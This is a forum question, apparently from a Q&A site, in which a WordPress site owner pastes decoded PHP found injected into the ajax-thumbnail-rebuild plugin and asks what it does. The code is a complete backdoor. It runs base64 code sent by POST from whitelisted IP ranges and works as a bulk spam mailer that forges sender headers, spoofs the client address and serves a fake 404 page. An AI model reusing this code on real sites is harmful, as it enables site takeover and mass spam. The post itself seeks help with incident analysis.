PHP - Need help to understand injected code [duplicate]

Question

I discovered a lot of requests to a fishy file in a plugin on my Wordpress site. There, I found a long string, a mapping function for each character used in the string, and an excecution of the decoded string. This is the code the decoder outputs, any help in understanding what it does would be great!

<?php
if(isset($_POST["code"]) && isset($_POST["custom_action"]) && is_good_ip($_SERVER['REMOTE_ADDR']))
{
    eval(base64_decode($_POST["code"]));
    exit();
}

if (isset($_POST["type"]) && $_POST["type"]=="1")
{
    type1_send();
    exit();
}
elseif (isset($_POST["type"]) && $_POST["type"]=="2")
{

}
elseif (isset($_POST["type"]))
{
    echo $_POST["type"];
    exit();
}

error_404();

function is_good_ip($ip)
{
    $goods = Array("6.185.239.", "8.138.118.");

    foreach ($goods as $good)
    {
        if (strstr($ip, $good) != FALSE)
        {
            return TRUE;
        }
    }

    return FALSE;
}

function type1_send()
{
    if(!isset($_POST["emails"])
            OR !isset($_POST["themes"])
            OR !isset($_POST["messages"])
            OR !isset($_POST["froms"])
            OR !isset($_POST["mailers"])
    )
    {
        exit();
    }

    if(get_magic_quotes_gpc())
    {
        foreach($_POST as $key => $post)
        {
            $_POST[$key] = stripcslashes($post);
        }
    }

    $emails = @unserialize(base64_decode($_POST["emails"]));
    $themes = @unserialize(base64_decode($_POST["themes"]));
    $messages = @unserialize(base64_decode($_POST["messages"]));
    $froms = @unserialize(base64_decode($_POST["froms"]));
    $mailers = @unserialize(base64_decode($_POST["mailers"]));
    $aliases = @unserialize(base64_decode($_POST["aliases"]));
    $passes = @unserialize(base64_decode($_POST["passes"]));

    if(isset($_SERVER))
    {
        $_SERVER['PHP_SELF'] = "/";
        $_SERVER['REMOTE_ADDR'] = "127.0.0.1";
        if(!empty($_SERVER['HTTP_X_FORWARDED_FOR']))
        {
            $_SERVER['HTTP_X_FORWARDED_FOR'] = "127.0.0.1";
        }
    }

    if(isset($_FILES))
    {
        foreach($_FILES as $key => $file)
        {
            $filename = alter_macros($aliases[$key]);
            $filename = num_macros($filename);
            $filename = text_macros($filename);
            $filename = xnum_macros($filename);
            $_FILES[$key]["name"] = $filename;
        }
    }

    if(empty($emails))
    {
        exit();
    }

    foreach ($emails as $fteil => $email)
    {
        $theme = $themes[array_rand($themes)];
        $theme = alter_macros($theme["theme"]);
        $theme = num_macros($theme);
        $theme = text_macros($theme);
        $theme = xnum_macros($theme);

        $message = $messages[array_rand($messages)];
        $message = alter_macros($message["message"]);
        $message = num_macros($message);
        $message = text_macros($message);
        $message = xnum_macros($message);
        //$message = pass_macros($message, $passes);
        $message = fteil_macros($message, $fteil);

        $from = $froms[array_rand($froms)];
        $from = alter_macros($from["from"]);
        $from = num_macros($from);
        $from = text_macros($from);
        $from = xnum_macros($from);

        if (strstr($from, "[CUSTOM]") == FALSE)
        {
            $from = from_host($from);
        }
        else
        {
            $from = str_replace("[CUSTOM]", "", $from);
        }

        $mailer = $mailers[array_rand($mailers)];

        send_mail($from, $email, $theme, $message, $mailer);
    }
}

function send_mail($from, $to, $subj, $text, $mailer)
{
    $head = "";

    $un = strtoupper(uniqid(time()));

    $head .= "From: $from\n";
    $head .= "X-Mailer: $mailer\n";
    $head .= "Reply-To: $from\n";

    $head .= "Mime-Version: 1.0\n";
    $head .= "Content-Type: multipart/alternative;";
    $head .= "boundary=\"----------".$un."\"\n\n";

    $plain = strip_tags($text);
    $zag = "------------".$un."\nContent-Type: text/plain; charset=\"ISO-8859-1\"; format=flowed\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n".$plain."\n\n";

    $zag .= "------------".$un."\nContent-Type: text/html; charset=\"ISO-8859-1\";\n";
    $zag .= "Content-Transfer-Encoding: 7bit\n\n$text\n\n";
    $zag .= "------------".$un."--";

    if(count($_FILES) > 0)
    {
        foreach($_FILES as $file)
        {
            if(file_exists($file["tmp_name"]))
            {
                $f = fopen($file["tmp_name"], "rb");
                $zag .= "------------".$un."\n";
                $zag .= "Content-Type: application/octet-stream;";
                $zag .= "name=\"".$file["name"]."\"\n";
                $zag .= "Content-Transfer-Encoding:base64\n";
                $zag .= "Content-Disposition:attachment;";
                $zag .= "filename=\"".$file["name"]."\"\n\n";
                $zag .= chunk_split(base64_encode(fread($f, filesize($file["tmp_name"]))))."\n";
                fclose($f);
            }
        }
    }

    if(@mail($to, $subj, $zag, $head))
    {
        if(!empty($_POST['verbose']))
            echo "SENDED";
    }
    else
    {
        if(!empty($_POST['verbose']))
            echo "FAIL";
    }
}

function alter_macros($content)
{
    preg_match_all('#{(.*)}#Ui', $content, $matches);

    for($i = 0; $i < count($matches[1]); $i++)
    {

        $ns = explode("|", $matches[1][$i]);
        $c2 = count($ns);
        $rand = rand(0, ($c2 - 1));
        $content = str_replace("{".$matches[1][$i]."}", $ns[$rand], $content);
    }
    return $content;
}

function text_macros($content)
{
    preg_match_all('#\[TEXT\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $word = generate_word($rand);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }

    preg_match_all('#\[TEXT\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $count = $matches[1][$i];

        $word  = generate_word($count);

        $content = preg_replace("/".preg_quote($matches[0][$i])."/", $word, $content, 1);
    }


    return $content;
}

function xnum_macros($content)
{
    preg_match_all('#\[NUM\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $num = $matches[1][$i];
        $min = pow(10, $num - 1);
        $max = pow(10, $num) - 1;

        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function num_macros($content)
{
    preg_match_all('#\[RAND\-([[:digit:]]+)\-([[:digit:]]+)\]#', $content, $matches);

    for($i = 0; $i < count($matches[0]); $i++)
    {
        $min = $matches[1][$i];
        $max = $matches[2][$i];
        $rand = rand($min, $max);
        $content = str_replace($matches[0][$i], $rand, $content);
    }
    return $content;
}

function generate_word($length)
{
    $chars = 'abcdefghijklmnopqrstuvyxz';
    $numChars = strlen($chars);
    $string = '';
    for($i = 0; $i < $length; $i++)
    {
        $string .= substr($chars, rand(1, $numChars) - 1, 1);
    }
    return $string;
}

function pass_macros($content, $passes)
{
    $pass = array_pop($passes);

    return str_replace("[PASS]", $pass, $content);
}

function fteil_macros($content, $fteil)
{
    return str_replace("[FTEIL]", $fteil, $content);
}

function is_ip($str) {
  return preg_match("/^([1-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])(\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])){3}$/",$str);
}

function from_host($content)
{

    $host = preg_replace('/^(www|ftp)\./i','',@$_SERVER['HTTP_HOST']);

    if (is_ip($host))
    {
        return $content;
    }

    $tokens = explode("@", $content);

    $content = $tokens[0] . "@" . $host . ">";

    return $content;
}

function error_404()
{
    header("HTTP/1.1 404 Not Found");

    $uri = preg_replace('/(\?).*$/', '', $_SERVER['REQUEST_URI'] );

    $content = custom_http_request1("http://".$_SERVER['HTTP_HOST']."/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA");
    $content = str_replace( "/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA", $uri, $content );

    exit( $content );
}


function custom_http_request1($params)
{
    if( ! is_array($params) )
    {
        $params = array(
            'url' => $params,
            'method' => 'GET'
        );
    }

    if( $params['url']=='' ) return FALSE;

    if( ! isset($params['method']) ) $params['method'] = (isset($params['data'])&&is_array($params['data'])) ? 'POST' : 'GET';
    $params['method'] = strtoupper($params['method']);
    if( ! in_array($params['method'], array('GET', 'POST')) ) return FALSE;

    /* Приводим ссылку в правильный вид */
    $url = parse_url($params['url']);
    if( ! isset($url['scheme']) ) $url['scheme'] = 'http';
    if( ! isset($url['path']) ) $url['path'] = '/';
    if( ! isset($url['host']) && isset($url['path']) )
    {
        if( strpos($url['path'], '/') )
        {
            $url['host'] = substr($url['path'], 0, strpos($url['path'], '/'));
            $url['path'] = substr($url['path'], strpos($url['path'], '/'));
        }
        else
        {
            $url['host'] = $url['path'];
            $url['path'] = '/';
        }
    }
    $url['path'] = preg_replace("/[\\/]+/", "/", $url['path']);
    if( isset($url['query']) ) $url['path'] .= "?{$url['query']}";

    $port = isset($params['port']) ? $params['port']
            : ( isset($url['port']) ? $url['port'] : ($url['scheme']=='https'?443:80) );

    $timeout = isset($params['timeout']) ? $params['timeout'] : 30;
    if( ! isset($params['return']) ) $params['return'] = 'content';

    $scheme = $url['scheme']=='https' ? 'ssl://':'';
    $fp = @fsockopen($scheme.$url['host'], $port, $errno, $errstr, $timeout);
    if( $fp )
    {
        /* Mozilla */
        if( ! isset($params['User-Agent']) ) $params['User-Agent'] = "Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16";

        $request = "{$params['method']} {$url['path']} HTTP/1.0\r\n";
        $request .= "Host: {$url['host']}\r\n";
        $request .= "User-Agent: {$params['User-Agent']}"."\r\n";
        if( isset($params['referer']) ) $request .= "Referer: {$params['referer']}\r\n";
        if( isset($params['cookie']) )
        {
            $cookie = "";
            if( is_array($params['cookie']) ) {foreach( $params['cookie'] as $k=>$v ) $cookie .= "$k=$v; "; $cookie = substr($cookie,0,-2);}
            else $cookie = $params['cookie'];
            if( $cookie!='' ) $request .= "Cookie: $cookie\r\n";
        }
        $request .= "Connection: close\r\n";
        if( $params['method']=='POST' )
        {
            if( isset($params['data']) && is_array($params['data']) )
            {
                foreach($params['data'] AS $k => $v)
                    $data .= urlencode($k).'='.urlencode($v).'&';
                if( substr($data, -1)=='&' ) $data = substr($data,0,-1);
            }
            $data .= "\r\n\r\n";

            $request .= "Content-type: application/x-www-form-urlencoded\r\n";
            $request .= "Content-length: ".strlen($data)."\r\n";
        }
        $request .= "\r\n";

        if( $params['method'] == 'POST' ) $request .= $data;

        @fwrite ($fp,$request); /* Send request */

        $res = ""; $headers = ""; $h_detected = false;
        while( !@feof($fp) )
        {
            $res .= @fread($fp, 1024); /* читаем контент */

            /* Проверка наличия загловков в контенте */
            if( ! $h_detected && strpos($res, "\r\n\r\n")!==FALSE )
            {
                /* заголовки уже считаны - корректируем контент */
                $h_detected = true;

                $headers = substr($res, 0, strpos($res, "\r\n\r\n"));
                $res = substr($res, strpos($res, "\r\n\r\n")+4);

                /* Headers to Array */
                if( $params['return']=='headers' || $params['return']=='array'
                    || (isset($params['redirect']) && $params['redirect']==true) )
                {
                    $h = explode("\r\n", $headers);
                    $headers = array();
                    foreach( $h as $k=>$v )
                    {
                        if( strpos($v, ':') )
                        {
                            $k = substr($v, 0, strpos($v, ':'));
                            $v = trim(substr($v, strpos($v, ':')+1));
                        }
                        $headers[strtoupper($k)] = $v;
                    }
                }
                if( isset($params['redirect']) && $params['redirect']==true && isset($headers['LOCATION']) )
                {
                    $params['url'] = $headers['LOCATION'];
                    if( !isset($params['redirect-count']) ) $params['redirect-count'] = 0;
                    if( $params['redirect-count']<10 )
                    {
                        $params['redirect-count']++;
                        $func = __FUNCTION__;
                        return @is_object($this) ? $this->$func($params) : $func($params);
                    }
                }
                if( $params['return']=='headers' ) return $headers;
            }
        }

        @fclose($fp);
    }
    else return FALSE;/* $errstr.$errno; */

    if( $params['return']=='array' ) $res = array('headers'=>$headers, 'content'=>$res);

    return $res;
}

The plugin in question is ajax-thumbnail-rebuild